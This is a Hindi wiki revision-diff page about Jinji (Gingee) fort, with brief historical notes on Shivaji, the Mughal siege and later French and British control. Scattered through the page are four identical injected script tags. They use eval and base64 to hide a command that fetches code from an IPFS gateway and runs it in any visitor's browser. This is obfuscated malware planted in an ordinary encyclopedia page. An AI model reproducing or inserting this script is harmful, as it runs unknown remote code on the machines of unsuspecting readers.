"जिंजी" के अवतरणों में अंतर
फ़ौज़िया ख़ान (चर्चा | योगदान) |
अश्वनी भाटिया (चर्चा | योगदान) |
||
पंक्ति 19: | पंक्ति 19: | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
+ | ==संबंधित लेख== | ||
+ | {{कर्नाटक के ऐतिहासिक स्थान}} | ||
+ | {{कर्नाटक के पर्यटन स्थल}} | ||
[[Category:कर्नाटक]] | [[Category:कर्नाटक]] | ||
[[Category:कर्नाटक के ऐतिहासिक स्थान]] | [[Category:कर्नाटक के ऐतिहासिक स्थान]] | ||
[[Category:ऐतिहासिक स्थान कोश]] | [[Category:ऐतिहासिक स्थान कोश]] | ||
__INDEX__ | __INDEX__ |
13:08, 4 मार्च 2011 का अवतरण
- कर्नाटक के ज़िला अर्काट में स्थित जिंजी अपने सुदृढ़ दुर्ग के कारण उल्लेखनीय है।
- सन 1677 ई. में शिवाजी ने जिंजी के क़िले को बीजापुर से छीन लिया और अपनी कर्नाटक सरकार की राजधानी बना दिया।
- शिवाजी की मृत्यु के बाद जिंजी पूर्वी तट पर मराठों के स्वातंत्र्य युद्ध का प्रमुख केन्द्र बन गया।
- सन 1690 ई. में विशाल मुग़ल सेना ने जिंजी के क़िले पर अधिकार करने के लिए घेरा डाला ताकि शिवाजी के उत्तराधिकारी रामराजा को पराजित किया जा सके।
- जिंजी का दुर्ग अजेय समझा जाता था, अतः दुर्ग का घेरा 18 जनवरी, 1698 ई. तक पड़ा रहा। उस दिन मुग़लों ने दुर्ग पर भीषण आक्रमण किया।
- रामराजा को यहाँ से भागकर अन्यत्र जाना पड़ा।
- कालांतर में इस क़िले पर फ्रांसीसी लोगों ने अधिकार कर लिया, किंतु 1761 ई. में पांडिचेरी के पतन के बाद उन्हें यह किला अंग्रेज़ों को सौंपना पड़ा।
- जिंजी का दुर्ग तीन पहाड़ियों को मज़बूत दीवार से जोड़ कर तीन मील की परिधि में बनाया गया है।
- यहाँ इसकी एक पहाड़ी पर रंगनाथ का सुन्दर मन्दिर है, जिसमें कृष्ण की कलात्मक मूर्तियाँ हैं।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>